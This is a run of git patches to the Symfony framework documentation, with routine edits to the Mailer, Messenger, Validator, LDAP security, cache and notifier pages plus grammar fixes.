     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\SentMessageEvent;
 
     public function onMessage(SentMessageEvent $event): void
     {
-        $message = $event->getMessage();
+        // e.g you can get mail id
+        $event->getMessage();
 
         // do something with the message
     }
@@ -1743,6 +1751,8 @@ and their priorities:
 
     $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\SentMessageEvent"
 
+.. _mailer-failed-message-event:
+
 FailedMessageEvent
 ~~~~~~~~~~~~~~~~~~
 
@@ -1752,15 +1762,21 @@ FailedMessageEvent
 
     The ``FailedMessageEvent`` event was introduced in Symfony 6.2.
 
-``FailedMessageEvent`` allows acting on the initial message in case of a failure::
+``FailedMessageEvent`` allows acting on the initial message in case of a failure and some
+:ref:`debugging information <mailer-debugging-emails>` (``getDebug()``) such as the HTTP calls made
+by the HTTP transports, which is useful for debugging errors::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\FailedMessageEvent;
+    use Symfony\Component\Mailer\Exception\TransportExceptionInterface;
 
     public function onMessage(FailedMessageEvent $event): void
     {
         // e.g you can get more information on this error when sending an email
-        $event->getError();
+        $error = $event->getError();
+        if ($error instanceof TransportExceptionInterface) {
+            $error->getDebug();
+        }
 
         // do something with the message
     }

From 6d9da13cc6968c754aeacdbe0dfea15e583018a7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Feb 2025 12:59:39 +0100
Subject: [PATCH 6697/7107] Minor tweaks

---
 mailer.rst | 22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index fe660c15178..99778ccb8cd 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -812,9 +812,10 @@ The :class:`Symfony\\Component\\Mailer\\SentMessage` object returned by the
 provides access to the original message (``getOriginalMessage()``) and to some
 debug information (``getDebug()``) such as the HTTP calls done by the HTTP
 transports, which is useful to debug errors.
-Access to :class:`Symfony\\Component\\Mailer\\SentMessage` can also be obtained by listening
-to the :ref:`SentMessageEvent <mailer-sent-message-event>`, and to ``getDebug()`` by listening
-to the :ref:`FailedMessageEvent <mailer-failed-message-event>`."
+
+You can also access :class:`Symfony\\Component\\Mailer\\SentMessage` by listening
+to the :ref:`SentMessageEvent <mailer-sent-message-event>` and retrieve ``getDebug()``
+by listening to the :ref:`FailedMessageEvent <mailer-failed-message-event>`.
 
 .. note::
 
@@ -1730,18 +1731,17 @@ SentMessageEvent
 
 ``SentMessageEvent`` allows you to act on the :class:`Symfony\\Component\\\Mailer\\\SentMessage`
 class to access the original message (``getOriginalMessage()``) and some
-:ref:`debugging information <mailer-debugging-emails>` (``getDebug()``) such as the HTTP calls
-made by the HTTP transports, which is useful for debugging errors::
+:ref:`debugging information <mailer-debugging-emails>` (``getDebug()``) such as
+the HTTP calls made by the HTTP transports, which is useful for debugging errors::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\SentMessageEvent;
 
     public function onMessage(SentMessageEvent $event): void
     {
-        // e.g you can get mail id
-        $event->getMessage();
+        $message $event->getMessage();
 
-        // do something with the message
+        // do something with the message (e.g. get its id)
     }
 
 Execute this command to find out which listeners are registered for this event
@@ -1762,9 +1762,9 @@ FailedMessageEvent
 
     The ``FailedMessageEvent`` event was introduced in Symfony 6.2.
 
-``FailedMessageEvent`` allows acting on the initial message in case of a failure and some
-:ref:`debugging information <mailer-debugging-emails>` (``getDebug()``) such as the HTTP calls made
-by the HTTP transports, which is useful for debugging errors::
+``FailedMessageEvent`` allows acting on the initial message in case of a failure
+and some :ref:`debugging information <mailer-debugging-emails>` (``getDebug()``)
+such as the HTTP calls made by the HTTP transports, which is useful for debugging errors::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\FailedMessageEvent;

From dd69e53bdb7287a8a8920129de11273920add5e8 Mon Sep 17 00:00:00 2001
From: Lorenzo Milesi <lorenzo.milesi@qofclubs.com>
Date: Fri, 22 Mar 2024 17:43:31 +0100
Subject: [PATCH 6698/7107] Messenger: custom consumer name with systemd

---
 messenger.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index d1f215f16a3..8cc17a5772e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -814,6 +814,8 @@ directory. For example, you can create a new ``messenger-worker.service`` file.
 
     [Service]
     ExecStart=php /path/to/your/app/bin/console messenger:consume async --time-limit=3600
+    # For Redis, set a custom consumer name for each instance
+    Environment="MESSENGER_CONSUMER_NAME=symfony-%n-%i"
     Restart=always
     RestartSec=30
 

From 26b7fc02b3b3f99afb379886bd0a69d1f72e93ac Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Feb 2025 13:36:27 +0100
Subject: [PATCH 6699/7107] Minor tweak

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 8cc17a5772e..70154ab82ca 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -814,7 +814,7 @@ directory. For example, you can create a new ``messenger-worker.service`` file.
 
     [Service]
     ExecStart=php /path/to/your/app/bin/console messenger:consume async --time-limit=3600
-    # For Redis, set a custom consumer name for each instance
+    # for Redis, set a custom consumer name for each instance
     Environment="MESSENGER_CONSUMER_NAME=symfony-%n-%i"
     Restart=always
     RestartSec=30

From 6a70a7a349759394cdbadeacc13238b19e0e4f03 Mon Sep 17 00:00:00 2001
From: Sascha Egerer <sascha.egerer@flowd.de>
Date: Mon, 3 Feb 2025 14:03:44 +0100
Subject: [PATCH 6700/7107] Replace left over "annotation" by "attribute"

---
 components/validator/resources.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index b5f5acdac14..32b8e26f8a8 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -163,7 +163,7 @@ the metadata from the attributes of the class. For example::
 To enable the attribute loader, call the
 :method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAttributeMapping` method.
 
-To disable the annotation loader after it was enabled, call
+To disable the attribute loader after it was enabled, call
 :method:`Symfony\\Component\\Validator\\ValidatorBuilder::disableAttributeMapping`.
 
 Using Multiple Loaders

From 4ac85c1c5521a5933a64cadd591375fbc2b1fda3 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 4 Feb 2025 09:46:11 +0100
Subject: [PATCH 6701/7107] [#20337] fix typo

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 5458910d46a..e4f4abf60eb 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2925,7 +2925,7 @@ and a different instance will be created per bus.
 .. tip::
 
     If you have installed the MakerBundle, you can use the ``make:messenger-middleware``
-    command to bootstrap the creation your own messenger middleware.
+    command to bootstrap the creation of your own messenger middleware.
 
 .. _middleware-doctrine:
 

From bed785d4fb526bdc3f36797112cd3124a6d0ff42 Mon Sep 17 00:00:00 2001
From: Hugo Alliaume <hugo@alliau.me>
Date: Wed, 5 Feb 2025 20:59:56 +0100
Subject: [PATCH 6702/7107] =?UTF-8?q?[Frontend]=C2=A0Correct=20"Removes=20?=
 =?UTF-8?q?comments=20from=20CSS"=20comparison?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 frontend.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/frontend.rst b/frontend.rst
index c28e6fcf222..ac7ececabcc 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -35,7 +35,7 @@ Supports Sass/Tailwind            :ref:`yes <asset-mapper-tailwind>`  yes
 Supports React, Vue, Svelte?      yes :ref:`[1] <ux-note-1>`          yes
 Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
 Removes comments from JavaScript  no :ref:`[2] <ux-note-2>`           yes
-Removes comments from CSS         no :ref:`[2] <ux-note-2>`           no
+Removes comments from CSS         no :ref:`[2] <ux-note-2>`           yes :ref:`[4] <ux-note-4>`
 Versioned assets                  always                              optional
 Can update 3rd party packages     yes                                 no :ref:`[3] <ux-note-3>`
 ================================  ==================================  ==========
@@ -56,6 +56,10 @@ be executed by a browser.
 
 **[3]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``).
 
+.. _ux-note-4:
+
+**[4]** Comments from CSS code can be removed with `CssMinimizerPlugin`_, configurable with ``Encore.configureCssMinimizerPlugin()``.
+
 .. _frontend-asset-mapper:
 
 AssetMapper (Recommended)
@@ -153,3 +157,4 @@ Other Front-End Articles
 .. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle
 .. _`AssetMapper screencast series`: https://symfonycasts.com/screencast/asset-mapper
 .. _`API Platform screencast series`: https://symfonycasts.com/screencast/api-platform
+.. _`CssMinimizerPlugin`: https://webpack.js.org/plugins/css-minimizer-webpack-plugin

From 21c28b8f46bd9b706eac2cbe58a9476c32140f1f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 6 Feb 2025 08:45:01 +0100
Subject: [PATCH 6703/7107] Minor tweak

---
 frontend.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/frontend.rst b/frontend.rst
index ac7ececabcc..404c9ade3a3 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -58,7 +58,8 @@ be executed by a browser.
 
 .. _ux-note-4:
 
-**[4]** Comments from CSS code can be removed with `CssMinimizerPlugin`_, configurable with ``Encore.configureCssMinimizerPlugin()``.
+**[4]** CSS comments can be removed using `CssMinimizerPlugin`_, which is included
+in Webpack Encore and configurable via ``Encore.configureCssMinimizerPlugin()``.
 
 .. _frontend-asset-mapper:
 

From a95a58058d0940d2c178604fa0eaadb90d6b2cae Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 6 Feb 2025 16:35:52 +0100
Subject: [PATCH 6704/7107] [Mailer] Minor reformating

Page: https://symfony.com/doc/6.4/mailer.html#message-headers

Reason: Code block too wide by one word ;-)
---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 99778ccb8cd..53a6475a093 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -572,8 +572,8 @@ header, etc.) but most of the times you'll set text headers::
 
     $email = (new Email())
         ->getHeaders()
-            // this non-standard header tells compliant autoresponders ("email holiday mode") to not
-            // reply to this message because it's an automated email
+            // this non-standard header tells compliant autoresponders ("email holiday mode")
+            // to not reply to this message because it's an automated email
             ->addTextHeader('X-Auto-Response-Suppress', 'OOF, DR, RN, NRN, AutoReply')
 
             // use an array if you want to add a header with multiple values

From da9ed9877aecbcb54fc97b61561ec018311ecff0 Mon Sep 17 00:00:00 2001
From: Alexis Urien <alexis.urien@free.fr>
Date: Thu, 6 Feb 2025 11:54:32 -0800
Subject: [PATCH 6705/7107] Update tags.rst

I think it's the new recommanded way for bundles (as seen here https://symfony.com/doc/current/bundles/extension.html)
---
 service_container/tags.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 270d6702f5a..fde9c2640aa 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -171,6 +171,25 @@ In a Symfony bundle, call this method in the ``load()`` method of the
         }
     }
 
+or if you are following the recommended way for new bundles and for bundles following the
+:ref:`recommended directory structure <bundles-directory-structure>`::
+
+    // ...
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+    
+    class MyBundle extends AbstractBundle
+    {
+        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        {
+            $builder
+                ->registerForAutoconfiguration(CustomInterface::class)
+                ->addTag('app.custom_tag')
+            ;
+        }
+    }
+
 Autoconfiguration registering is not limited to interfaces. It is possible
 to use PHP attributes to autoconfigure services by using the
 :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`

From 197da33b21c81dc6499d1735380e1117c83c6ee2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 7 Feb 2025 09:14:45 +0100
Subject: [PATCH 6706/7107] [Validator] Add support for the `otherwise` option
 in the `When` constraint

---
 reference/constraints/When.rst | 33 ++++++++++++++++++++++++++++++++-
 1 file changed, 32 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index ec21eca9784..22ae477365f 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -9,6 +9,7 @@ Applies to  :ref:`class <validation-class-target>`
             or :ref:`property/method <validation-property-target>`
 Options     - `expression`_
             - `constraints`_
+            _ `otherwise`_
             - `groups`_
             - `payload`_
             - `values`_
@@ -47,7 +48,7 @@ properties::
 To validate the object, you have some requirements:
 
 A) If ``type`` is ``percent``, then ``value`` must be less than or equal 100;
-B) If ``type`` is ``absolute``, then ``value`` can be anything;
+B) If ``type`` is not ``percent``, then ``value`` must be less than 9999;
 C) No matter the value of ``type``, the ``value`` must be greater than 0.
 
 One way to accomplish this is with the When constraint:
@@ -69,6 +70,9 @@ One way to accomplish this is with the When constraint:
                 constraints: [
                     new Assert\LessThanOrEqual(100, message: 'The value should be between 1 and 100!')
                 ],
+                otherwise: [
+                    new Assert\LessThan(9999, message: 'The value should be less than 9999!')
+                ],
             )]
             private ?int $value;
 
@@ -88,6 +92,10 @@ One way to accomplish this is with the When constraint:
                             - LessThanOrEqual:
                                 value: 100
                                 message: "The value should be between 1 and 100!"
+                        otherwise:
+                            - LessThan:
+                                value: 9999
+                                message: "The value should be less than 9999!"
 
     .. code-block:: xml
 
@@ -109,6 +117,12 @@ One way to accomplish this is with the When constraint:
                                 <option name="message">The value should be between 1 and 100!</option>
                             </constraint>
                         </option>
+                        <option name="otherwise">
+                            <constraint name="LessThan">
+                                <option name="value">9999</option>
+                                <option name="message">The value should be less than 9999!</option>
+                            </constraint>
+                        </option>
                     </constraint>
                 </property>
             </class>
@@ -135,6 +149,12 @@ One way to accomplish this is with the When constraint:
                             message: 'The value should be between 1 and 100!',
                         ),
                     ],
+                    otherwise: [
+                        new Assert\LessThan(
+                            value: 9999,
+                            message: 'The value should be less than 9999!',
+                        ),
+                    ],
                 ));
             }
 
@@ -279,6 +299,17 @@ You can also pass custom variables using the `values`_ option.
 
 One or multiple constraints that are applied if the expression returns true.
 
+``otherwise``
+~~~~~~~~~~~~~
+
+**type**: ``array|Constraint``
+
+One or multiple constraints that are applied if the expression returns false.
+
+.. versionadded:: 7.3
+
+    The ``otherwise`` option was introduced in Symfony 7.3.
+
 .. include:: /reference/constraints/_groups-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc

From 035e35265d1c6be1807bb0586299a9af936d222d Mon Sep 17 00:00:00 2001
From: Casey Heagerty <casey.heagerty@ledger.fr>
Date: Mon, 10 Feb 2025 09:52:12 +0100
Subject: [PATCH 6707/7107] Fix 2 small grammar errors/6.4

---
 doctrine/events.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index dcc5d8bb6ef..9507316eb5b 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -3,7 +3,7 @@ Doctrine Events
 
 `Doctrine`_, the set of PHP libraries used by Symfony to work with databases,
 provides a lightweight event system to update entities during the application
-execution. These events, called `lifecycle events`_, allow to perform tasks such
+execution. These events, called `lifecycle events`_, allow performing tasks such
 as *"update the createdAt property automatically right before persisting entities
 of this type"*.
 
@@ -24,7 +24,7 @@ There are different ways to listen to these Doctrine events:
   methods are called for all entities, not only those of a certain type. They are
   ideal to **share event logic between entities**.
 
-The performance of each type of listener depends on how many entities applies to:
+The performance of each type of listener depends on how many entities it applies to:
 lifecycle callbacks are faster than entity listeners, which in turn are faster
 than lifecycle listeners.
 

From 919b814eafc8164d4276734839790cb212e86b96 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 10 Feb 2025 14:52:18 +0100
Subject: [PATCH 6708/7107] Add a few words about core team member
 responsibilities

---
 contributing/code/core_team.rst | 14 ++++++++++++--
 1 file changed, 12 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 1b1703e4f93..2afae903d92 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -13,8 +13,8 @@ This document states the rules that govern the Symfony core team. These rules
 are effective upon publication of this document and all Symfony Core members
 must adhere to said rules and protocol.
 
-Role of a Core Team Member
---------------------------
+Core Team Member Role
+---------------------
 
 In addition to being a regular contributor, core team members are expected to:
 
@@ -22,6 +22,16 @@ In addition to being a regular contributor, core team members are expected to:
 * Help enforce, improve, and implement Symfony :doc:`processes and policies </contributing/index>`;
 * Participate in the Symfony Core Team discussions (on Slack and GitHub).
 
+Core Team Member Responsibilities
+---------------------------------
+
+Core Team members are unpaid volunteers and as such, they are not expected to
+dedicate any specific amount of time on Symfony. They are expected to help the
+project in any way they can, from reviewing pull requests, writing documentation
+to participating in discussions and helping the community in general, but their
+involvement is completely voluntary and can be as much or as little as they
+want.
+
 Core Organization
 -----------------
 

From cf1d8f176bc1a539ceaabc474485d833fa6291fe Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 11 Feb 2025 09:48:14 +0100
Subject: [PATCH 6709/7107] [FrameworkBundle] Allow to pass signals to
 `StopWorkerOnSignalsListener` in XML config and as plain strings

---
 messenger.rst | 52 ++++++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 51 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 8d679a48b61..2de8c6f9fb3 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -848,7 +848,56 @@ message before terminating.
 
 However, you might prefer to use different POSIX signals for graceful shutdown.
 You can override default ones by setting the ``framework.messenger.stop_worker_on_signals``
-configuration option.
+configuration option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                stop_worker_on_signals:
+                    - SIGTERM
+                    - SIGINT
+                    - SIGUSR1
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                   xmlns:framework="http://symfony.com/schema/dic/symfony"
+                   xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <!-- ... -->
+                    <framework:stop-worker-on-signal>SIGTERM</framework:stop-worker-on-signal>
+                    <framework:stop-worker-on-signal>SIGINT</framework:stop-worker-on-signal>
+                    <framework:stop-worker-on-signal>SIGUSR1</framework:stop-worker-on-signal>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->messenger()
+                ->stopWorkerOnSignals(['SIGTERM', 'SIGINT', 'SIGUSR1']);
+        };
+
+.. versionadded:: 7.3
+
+    Support for signals plain name in configuration was introduced in Symfony 7.3.
+    Prior to this, you had to use the numeric values of the signals as defined
+    in the ``pcntl`` extension's `predefined constants`_.
 
 In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g. stopping
 a Docker container having Supervisor as its entrypoint). In these cases you
@@ -3587,3 +3636,4 @@ Learn more
 .. _`high connection churn`: https://www.rabbitmq.com/connections.html#high-connection-churn
 .. _`article about CQRS`: https://martinfowler.com/bliki/CQRS.html
 .. _`SSL context options`: https://php.net/context.ssl
+.. _`predefined constants`: https://www.php.net/pcntl.constants

From 3a70718236a75ad94fa43150e75888f03f79baee Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Tue, 11 Feb 2025 13:12:53 +0100
Subject: [PATCH 6710/7107] Update http client timeout option docs

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 4432563f597..6d6f9b009f6 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1281,7 +1281,7 @@ timeout
 
 **type**: ``float`` **default**: depends on your PHP config
 
-Time, in seconds, to wait for a response. If the response takes longer, a
+Time, in seconds, to wait for network activity. If the connection is idle for longer, a
 :class:`Symfony\\Component\\HttpClient\\Exception\\TransportException` is thrown.
 Its default value is the same as the value of PHP's `default_socket_timeout`_
 config option.

From 3de90f363a446bb0d675c110c7529014e45604c7 Mon Sep 17 00:00:00 2001
From: Hugo Alliaume <hugo@alliau.me>
Date: Tue, 11 Feb 2025 15:52:18 +0100
Subject: [PATCH 6711/7107] [Cache] Fix "Marshalling (Serializing) Data" code
 rendering issue

---
 components/cache.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/cache.rst b/components/cache.rst
index 939627b1807..4873fb7abc7 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -209,11 +209,11 @@ the cache items before storing them.
 
 The :class:`Symfony\\Component\\Cache\\Marshaller\\DefaultMarshaller` uses PHP's
 ``serialize()`` function by default, but you can optionally use the ``igbinary_serialize()``
-function from the `Igbinary extension`_:
+function from the `Igbinary extension`_::
 
     use Symfony\Component\Cache\Adapter\RedisAdapter;
-    use Symfony\Component\Cache\DefaultMarshaller;
-    use Symfony\Component\Cache\DeflateMarshaller;
+    use Symfony\Component\Cache\Marshaller\DefaultMarshaller;
+    use Symfony\Component\Cache\Marshaller\DeflateMarshaller;
 
     $marshaller = new DeflateMarshaller(new DefaultMarshaller());
     // you can optionally use the Igbinary extension if you have it installed

From 08a3431263166a0bd2e889b026601abeddeb1c14 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 12 Feb 2025 08:40:52 +0100
Subject: [PATCH 6712/7107] Minor tweaks

---
 messenger.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 2de8c6f9fb3..c6643af0a89 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -895,9 +895,9 @@ configuration option:
 
 .. versionadded:: 7.3
 
-    Support for signals plain name in configuration was introduced in Symfony 7.3.
-    Prior to this, you had to use the numeric values of the signals as defined
-    in the ``pcntl`` extension's `predefined constants`_.
+    Support for signals plain names in configuration was introduced in Symfony 7.3.
+    Previously, you had to use the numeric values of signals as defined by the
+    ``pcntl`` extension's `predefined constants`_.
 
 In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g. stopping
 a Docker container having Supervisor as its entrypoint). In these cases you

From 37e23491022c0440573378809b964b0eacc848a9 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Thu, 13 Feb 2025 09:36:07 +0100
Subject: [PATCH 6713/7107] Add `role_fetcher` option to LDAP security
 configuration

The `role_fetcher` option allows defining a service to fetch user roles from the LDAP server by implementing `RoleFetcherInterface`. This option was introduced in Symfony 7.3, and it supersedes `default_roles` when set. The `MemberOfRoles` implementation can be used to retrieve roles from the `ismemberof` attribute.
---
 security/ldap.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/security/ldap.rst b/security/ldap.rst
index 081be764290..923d74807dc 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -256,6 +256,23 @@ This is the default role you wish to give to a user fetched from the LDAP
 server. If you do not configure this key, your users won't have any roles,
 and will not be considered as authenticated fully.
 
+role_fetcher
+............
+
+**type**: ``string`` **default**: ``null``
+
+When your LDAP service provides user roles, you can use this configuration option
+to define the role fetcher service. The role fetcher service must implement the
+``Component\Ldap\Security\RoleFetcherInterface`` interface.
+``default_roles`` is ignored when ``role_fetcher`` is set.
+
+``Symfony\Component\Ldap\Security\MemberOfRoles`` is a concrete implementation
+of the ``RoleFetcherInterface`` that fetches roles from the ``ismemberof`` attribute.
+
+.. versionadded:: 7.3
+
+    The configuration option ``role_fetcher`` was introduced in Symfony 7.3.
+
 uid_key
 .......
 

From ac4a5f7e33768de7bae343445471302dd88ee9c9 Mon Sep 17 00:00:00 2001
From: Matthias Pigulla <mp@webfactory.de>
Date: Thu, 13 Feb 2025 11:06:45 +0100
Subject: [PATCH 6714/7107] Explain how translation messages are merged among
 bundles

---
 translation.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 98b90949b6a..231969f9487 100644
--- a/translation.rst
+++ b/translation.rst
@@ -497,7 +497,9 @@ Symfony looks for message files (i.e. translations) in the following default loc
   ``Resources/translations/`` directory, which is no longer recommended for bundles).
 
 The locations are listed here with the highest priority first. That is, you can
-override the translation messages of a bundle in the first directory.
+override the translation messages of a bundle in the first directory. Bundles are processed
+in the order they are given in the ``config/bundles.php`` file, so bundles listed first have
+higher priority.
 
 The override mechanism works at a key level: only the overridden keys need
 to be listed in a higher priority message file. When a key is not found

From 85b4530e81355182d6ad59fac60f9d8c0459e2de Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 14 Feb 2025 09:16:31 +0100
Subject: [PATCH 6715/7107] Minor tweaks

---
 security/ldap.rst | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/security/ldap.rst b/security/ldap.rst
index 923d74807dc..c4c3646122b 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -259,19 +259,20 @@ and will not be considered as authenticated fully.
 role_fetcher
 ............
 
-**type**: ``string`` **default**: ``null``
+**Type**: ``string`` **Default**: ``null``
 
-When your LDAP service provides user roles, you can use this configuration option
-to define the role fetcher service. The role fetcher service must implement the
-``Component\Ldap\Security\RoleFetcherInterface`` interface.
-``default_roles`` is ignored when ``role_fetcher`` is set.
+When your LDAP service provides user roles, this option allows you to define
+the service that retrieves these roles. The role fetcher service must implement
+the ``Symfony\Component\Ldap\Security\RoleFetcherInterface``. When this option
+is set, the ``default_roles`` option is ignored.
 
-``Symfony\Component\Ldap\Security\MemberOfRoles`` is a concrete implementation
-of the ``RoleFetcherInterface`` that fetches roles from the ``ismemberof`` attribute.
+Symfony provides ``Symfony\Component\Ldap\Security\MemberOfRoles``, a concrete
+implementation of the interface that fetches roles from the ``ismemberof``
+attribute.
 
 .. versionadded:: 7.3
 
-    The configuration option ``role_fetcher`` was introduced in Symfony 7.3.
+    The ``role_fetcher`` configuration option was introduced in Symfony 7.3.
 
 uid_key
 .......

From 3b1505d8f6dedb3d1feb5d56ea1ad74a93dcb8a5 Mon Sep 17 00:00:00 2001
From: Kirill Kotov <k.kotov@codd.tech>
Date: Sat, 15 Feb 2025 12:38:18 +0300
Subject: [PATCH 6716/7107] Messenger: Add consumer name documentation

---
 messenger.rst | 16 +++++++++++++++-
 1 file changed, 15 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index e4f4abf60eb..c62436eb1e9 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1768,7 +1768,21 @@ under the transport in ``messenger.yaml``:
     The Redis consumer group name
 
 ``consumer`` (default: ``consumer``)
-    Consumer name used in Redis
+    Consumer name used in Redis. Allows to set explicit consumer name identifier.
+    Recommended for environments with multiple workers to prevent duplicate message processing.
+    Typically set via environment variable:
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                transports:
+                    redis:
+                        dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
+                        options:
+                            consumer: '%env(MESSENGER_CONSUMER_NAME)%'
+
 
 ``auto_setup`` (default: ``true``)
     Whether to create the Redis group automatically

From 03b1ed9d422b12e12c9673dd9934090127b8bc8c Mon Sep 17 00:00:00 2001
From: Frank Schulze <frank@akiber.de>
Date: Wed, 8 Jan 2025 18:32:15 +0100
Subject: [PATCH 6717/7107] [Notifier] Add Matrix bridge

---
 notifier.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 090f4db2007..da0a622fb1d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -369,6 +369,7 @@ Service                                  Package                               D
 `LinkedIn`_                              ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
 `Mastodon`_                              ``symfony/mastodon-notifier``         ``mastodon://ACCESS_TOKEN@HOST``
 `Mattermost`_                            ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
+`Matrix`_                                ``symfony/matrix-notifier``           ``matrix://HOST:PORT/?accessToken=ACCESSTOKEN&ssl=SSL``
 `Mercure`_                               ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
 `MicrosoftTeams`_                        ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
 `RocketChat`_                            ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
